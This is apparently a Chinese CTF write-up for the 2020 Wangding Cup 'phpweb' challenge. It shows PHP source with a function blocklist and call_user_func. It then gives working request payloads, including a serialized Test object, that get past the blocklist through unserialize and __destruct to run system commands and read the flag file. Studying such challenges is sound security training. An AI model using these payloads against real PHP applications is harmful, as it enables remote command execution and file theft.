一天一道ctf 第26天

[网鼎杯 2020 朱雀组]phpweb

查看源代码发现传了一个func和一个p，那就bp抓包传func=file_get_contents&p=index.php查看index.php

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
</p>

看到__destruct想到了是反序列化，但一直没找到unserialize()函数。看了wp发现可以func=unserialize()（吐血）所以大致流程是先传入func和p，检测func是不是黑名单里的函数，调用gettime函数，就是执行一下你传入的func。因为我们传入func=unserialize()，p再传入一个反序列化字符串

这里我们构造p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
经过反序列化我们就得到了一个Test的实例，在退出时又会调用__destruct()再做一遍gettime()但这次func=system&p=find / -name flag*，就能查看flag在哪个文件了。执行这个函数会有点慢
知道了文件名后就可以func=readfile&p=/tmp/flagoefiu4r93得到flag